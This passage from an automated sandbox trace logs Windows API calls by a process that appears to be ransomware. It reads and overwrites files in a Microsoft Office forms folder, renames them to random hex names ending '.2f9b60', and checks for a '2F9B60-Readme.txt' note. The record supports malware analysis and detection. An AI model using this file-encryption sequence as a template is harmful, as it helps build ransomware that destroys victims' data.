returned 0x686a43a7 [0142.432] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x6168ee3f [0142.432] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x79ad6369 [0142.432] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x66f19f20 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x1e910519 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x67f98ab6 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x618c1b7d [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x5d473648 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x2c22802b [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0xe92cfcc [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x1ba282aa [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x102860b7 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x402332a2 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x4078e422 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x1bd2d334 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x15f6a46a [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x414f1fe2 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x72b4a67 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0xe20b808 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x3d8eed02 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x19ed8aec [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x46947562 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x69d9fb5b [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x53cc4e0f [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0xe07dc99 [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x48cd8cae [0142.433] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x7c895d04 [0142.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff310 [0142.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0142.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff340 [0142.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0142.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0142.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0142.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0142.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42326910 [0142.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4232a520 [0142.442] ReadFile (in: hFile=0x1ed4, lpBuffer=0x42326910, nNumberOfBytesToRead=0x25b, lpNumberOfBytesRead=0x3cacfbd0, lpOverlapped=0x0 | out: lpBuffer=0x42326910*, lpNumberOfBytesRead=0x3cacfbd0*=0x25b, lpOverlapped=0x0) returned 1 [0142.442] SetFilePointerEx (in: hFile=0x1ed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.442] WriteFile (in: hFile=0x1ed4, lpBuffer=0x4232a520*, nNumberOfBytesToWrite=0x25b, lpNumberOfBytesWritten=0x3cacfbd4, lpOverlapped=0x0 | out: lpBuffer=0x4232a520*, lpNumberOfBytesWritten=0x3cacfbd4*=0x25b, lpOverlapped=0x0) returned 1 [0143.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0143.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0143.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0143.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4232a520) returned 1 [0143.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42326910) returned 1 [0143.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0143.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0143.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20263740 [0143.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0143.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0143.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0143.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0143.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202625d0 [0143.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0143.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261130 [0143.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261130) returned 1 [0143.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0143.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0143.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x1696f0 [0143.408] SetFilePointerEx (in: hFile=0x1ed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.408] WriteFile (in: hFile=0x1ed4, lpBuffer=0x1696f0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cacfcf0, lpOverlapped=0x0 | out: lpBuffer=0x1696f0*, lpNumberOfBytesWritten=0x3cacfcf0*=0x106, lpOverlapped=0x0) returned 1 [0143.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0143.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0143.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0143.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0143.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0143.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0143.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0143.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0143.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0143.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0143.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f5b0 [0143.768] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="1e") returned 2 [0143.768] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="a6") returned 2 [0143.768] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="e2") returned 2 [0143.768] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="49") returned 2 [0143.768] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="57") returned 2 [0143.768] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="8d") returned 2 [0143.768] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="dd") returned 2 [0143.768] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="8a") returned 2 [0143.768] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="56") returned 2 [0143.768] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="8b") returned 2 [0143.769] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="5c") returned 2 [0143.769] sprintf (in: _Dest=0x1cd9f5c6, _Format="%c%c" | out: _Dest="b0") returned 2 [0143.769] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="21") returned 2 [0143.769] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="8b") returned 2 [0143.769] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="5c") returned 2 [0143.769] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="58") returned 2 [0143.769] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="90") returned 2 [0143.769] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="57") returned 2 [0143.769] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="57") returned 2 [0143.769] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="1a") returned 2 [0143.769] RtlInitAnsiString (in: DestinationString=0x3cacfd68, SourceString="1ea6e249578ddd8a568b5cb0218b5c589057571a" | out: DestinationString="1ea6e249578ddd8a568b5cb0218b5c589057571a") [0143.769] RtlAnsiStringToUnicodeString (in: DestinationString=0x3cacfd38, SourceString="1ea6e249578ddd8a568b5cb0218b5c589057571a", AllocateDestinationString=1 | out: DestinationString="1ea6e249578ddd8a568b5cb0218b5c589057571a") returned 0x0 [0143.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86610 [0143.770] RtlFreeAnsiString (AnsiString="1") [0143.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0143.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0143.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1696f0) returned 1 [0143.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0143.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ae0) returned 1 [0143.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0143.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0143.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff250) returned 1 [0143.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff310) returned 1 [0143.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff340) returned 1 [0143.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x205079b0 [0143.772] wcscat (in: _Dest=0x205079b0, _Source="1ea6e24957" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1ea6e24957") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1ea6e24957" [0143.772] wcscat (in: _Dest=0x205079b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1ea6e24957.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1ea6e24957.2f9b60" [0143.772] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1ea6e24957.2f9b60", NtPathName=0x3cacfd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\1ea6e24957.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce220e0 [0143.772] NtSetInformationFile (FileHandle=0x1ed4, IoStatusBlock=0x3cacfdb0, FileInformation=0x1ce220e0, Length=0xae, FileInformationClass=0xa) returned 0x0 [0143.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce220e0) returned 1 [0143.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052ba0) returned 1 [0143.803] NtQueryInformationFile (in: FileHandle=0x1ed4, IoStatusBlock=0x3cacfd78, FileInformation=0x3cacfd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3cacfd78, FileInformation=0x3cacfd88) returned 0x0 [0143.803] NtSetInformationFile (FileHandle=0x1ed4, IoStatusBlock=0x3cacfd78, FileInformation=0x3cacfd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205079b0) returned 1 [0143.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86610) returned 1 [0143.805] FlushFileBuffers (hFile=0x1ed4) returned 1 [0143.813] CloseHandle (hObject=0x1ed4) returned 1 [0143.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20506d10 [0143.871] wcscpy (in: _Dest=0x20506d10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.871] wcscat (in: _Dest=0x20506d10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506d10) returned 1 [0143.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a9f0) returned 1 Thread: id = 2202 os_tid = 0x1674 [0140.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg")) returned 0x20 [0140.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG", dwFileAttributes=0x20) returned 1 [0140.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ef4 [0142.376] GetFileSizeEx (in: hFile=0x1ef4, lpFileSize=0x3ca2fd40 | out: lpFileSize=0x3ca2fd40*=828) returned 1 [0142.376] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.376] ReadFile (in: hFile=0x1ef4, lpBuffer=0x3ca2fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ca2fd08, lpOverlapped=0x0 | out: lpBuffer=0x3ca2fcc0*, lpNumberOfBytesRead=0x3ca2fd08*=0x4, lpOverlapped=0x0) returned 1 [0142.413] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1c0 [0142.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff250 [0142.414] NtQuerySystemTime (in: CurrentTime=0x3ca2fc00 | out: CurrentTime=0x3ca2fc00*=132462177476614000) returned 0x0 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x62c15fe8 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x2ec40374 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x6597d52d [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x3a5b1ecf [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x707b1212 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x21e8b6e [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x3f7f6dfb [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x151b8f50 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x6894aca9 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x4abb278 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x791fe308 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x1b30f32 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x6836f8dd [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x794556ed [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x41f335c3 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x267da460 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x29db1402 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x28873df7 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x3a32fc3a [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x4302cf75 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x5119b5ef [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x779d7a31 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x4794d623 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x66b09ec1 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x272f2034 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x3aaec938 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x56d54f24 [0142.414] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x3b6c4269 [0142.415] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x7b0f76a7 [0142.415] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x6767d273 [0142.415] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x5b53028b [0142.415] RtlRandomEx (in: Seed=0x3ca2fbf0 | out: Seed=0x3ca2fbf0) returned 0x6e00eb4a [0142.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0142.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59ab0 [0142.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0142.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59ab0) returned 1 [0142.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff250) returned 1 [0142.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0142.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59ab0 [0142.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4231f0f0 [0142.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42322d00 [0142.424] ReadFile (in: hFile=0x1ef4, lpBuffer=0x4231f0f0, nNumberOfBytesToRead=0x33c, lpNumberOfBytesRead=0x3ca2fbf0, lpOverlapped=0x0 | out: lpBuffer=0x4231f0f0*, lpNumberOfBytesRead=0x3ca2fbf0*=0x33c, lpOverlapped=0x0) returned 1 [0142.424] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.424] WriteFile (in: hFile=0x1ef4, lpBuffer=0x42322d00*, nNumberOfBytesToWrite=0x33c, lpNumberOfBytesWritten=0x3ca2fbf4, lpOverlapped=0x0 | out: lpBuffer=0x42322d00*, lpNumberOfBytesWritten=0x3ca2fbf4*=0x33c, lpOverlapped=0x0) returned 1 [0143.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a00 [0143.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7160 [0143.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7160) returned 1 [0143.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42322d00) returned 1 [0143.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4231f0f0) returned 1 [0143.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59ab0) returned 1 [0143.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0143.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a7160 [0143.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0143.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59ab0 [0143.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7010 [0143.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7010) returned 1 [0143.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a7010 [0143.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6fb0 [0143.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6f20 [0143.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6f20) returned 1 [0143.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59ab0) returned 1 [0143.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0143.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x169c40 [0143.397] SetFilePointerEx (in: hFile=0x1ef4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.397] WriteFile (in: hFile=0x1ef4, lpBuffer=0x169c40*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3ca2fd10, lpOverlapped=0x0 | out: lpBuffer=0x169c40*, lpNumberOfBytesWritten=0x3ca2fd10*=0x108, lpOverlapped=0x0) returned 1 [0143.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefe0 [0143.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fefe0) returned 1 [0143.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0143.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefe0 [0143.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefb0 [0143.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fefb0) returned 1 [0143.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7aa1a0 [0143.632] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="64") returned 2 [0143.632] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="5b") returned 2 [0143.632] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="4f") returned 2 [0143.632] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="11") returned 2 [0143.632] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="08") returned 2 [0143.632] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="77") returned 2 [0143.632] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="3e") returned 2 [0143.632] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="97") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="22") returned 2 [0143.633] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="e1") returned 2 [0143.633] sprintf (in: 